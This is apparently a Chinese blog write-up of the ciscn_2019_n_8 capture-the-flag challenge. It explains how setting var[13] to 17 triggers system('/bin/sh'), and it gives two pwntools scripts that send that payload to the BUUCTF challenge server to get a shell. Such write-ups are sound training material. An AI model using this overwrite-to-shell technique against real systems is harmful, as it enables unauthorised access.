首页 > 其他分享 >ciscn_2019_n_8 1

ciscn_2019_n_8 1

时间:2025-01-11 15:45:14浏览次数:1  
标签:13 ciscn 17 QWORD 2019 var 64 字节

checksec一下能发现开了很多保护,吓人一跳,但其实我们分析一下发现只要var[13]为17就可以了
image
if ( *(_QWORD *)&var[13] )#判断var[13]开始的8字节(_QWORD表示64位,即8字节)内存区域是否非零。*(_QWORD *)&var[13]是将var[13]的地址转换为_QWORD(64位整数)指针,然后解引用得到该内存区域的值。
if ( *(_QWORD *)&var[13] == 17LL )#:如果该8字节内存区域的值等于17(17LL表示长整型常量17),则调用system("/bin/sh")执行系统命令/bin/sh,
将var数组全填上17即可:

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28867)
payload=p32(17)*13
io.sendline(payload)
io.interactive()
也可以
点击查看代码
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()

QWORD是8个字节,所以要将var[13]的8个字节的数据赋值为17(即p64(17)),之前的是因为32位程序为4字节

标签:13,ciscn,17,QWORD,2019,var,64,字节
From: https://www.cnblogs.com/fdddddd/p/18665759

相关文章

  • Tableau 2019中文版下载:附安装包+详细安装步骤
    如大家所了解的,Tableau是一个可视化分析平台,它改变了我们使用数据解决问题的方式,使个人和组织能够充分利用自己的数据。它帮助用户创建不同的图表、图形、地图、仪表板和故事来可视化和分析数据,以帮助做出业务决策。使用Tableau生成的数据因其易于理解的格式而易于各个级别的......
  • Matlab2019a安装C2000 Processors超详细过程
    ⭐1.环境搭建⭐链接1EmbeddedCoderSupportPackageforTexasInstrumentsC2000Processors-FileExchange-MATLABCentral......
  • SQL Server 2019 的完整安装步骤
    一、下载SQLServer2019安装包•访问Microsoft官方下载中心页面:[SQLServer2019下载]()。•选择适合的版本进行下载,例如Developer版本。•下载完成后,解压安装包。二、安装SQLServer2019•关闭防火墙:为了确保安装过程顺利,建议暂时关闭WindowsDefender防火......
  • 2019浙教版 高中信息技术 必修1 数据与计算《第一章 数据与信息》大单元整体教学设计[
    2019浙教版高中信息技术必修1数据与计算《第一章数据与信息》大单元整体教学设计[2020课标]一、内容分析与整合二、《普通高中信息技术课程标准(2017年版2020年修订)》分解三、学情分析四、大主题或大概念设计五、大单元目标叙写六、大单元教学重点七、大单元教学难点八......
  • [极客大挑战 2019]HardSQL 1
    看了大佬的wp,没用字典爆破,手动试出来的,屏蔽了常用的关键字,例如:orderselectunionand最搞的是,空格也有,这个空格后面让我看了好久,该在哪里加括号。先传入1’1试试,发现提示报错:其实这里提示了报错信息,就可以试一试报错注入了,当然这是事后诸葛亮,还是常规的注入试试,发现行不......
  • Luogu P9646 SNCPC2019 Paper-cutting 题解 [ 紫 ] [ manacher ] [ 贪心 ] [ 哈希 ] [
    Paper-cutting:思维很好,但代码很构式的manacher题。蒟蒻2025年切的第一道题,是个紫,并且基本独立想出的,特此纪念。判断能否折叠我们先考虑一部分能折叠需要满足什么条件。显然,这一部分需要是一个长度为偶数的回文串。那么横向和纵向会不会影响呢?答案是不会,因为横向折了之后,折......
  • [PA2019] Desant Solution
    [PA2019]DesantSolution原题链接。题目大意:给定一个长为\(n(n\le40)\)的排列,对于每个\(i\)求出长度为\(i\)的子序列逆序对最少有多少,并且求出有多少个长度为\(i\)的子序列逆序对最少。解题思路:首先有一个暴力的做法,设\(f_{i,S}\)表示考虑完前\(i\)个数,选择了集......
  • E92 换根DP+倍增 P5666 [CSP-S2019] 树的重心
    视频链接:E92换根DP+倍增P5666[CSP-S2019]树的重心_哔哩哔哩_bilibili   P5666[CSP-S2019]树的重心-洛谷|计算机科学教育新生态(luogu.com.cn)//换根DP+倍增O(nlogn)#include<iostream>#include<cstring>#include<algorithm>#include<vector>us......
  • [ 2024 · CISCN x 长城杯 ] pwn avm
    2024CISCNx长城杯AVMavmVM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。1.程序逆向函数主函数如下:unsigned__int64__fastcallmain(__int64a1,char**a2,char**a3){_BYTEs[3080];//[rs......
  • 12.25随笔 java实战2019年试题(2)
    后天上午就要期末考试了,最后尝试一下2019年试题Servlet设计与实现登录importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.h......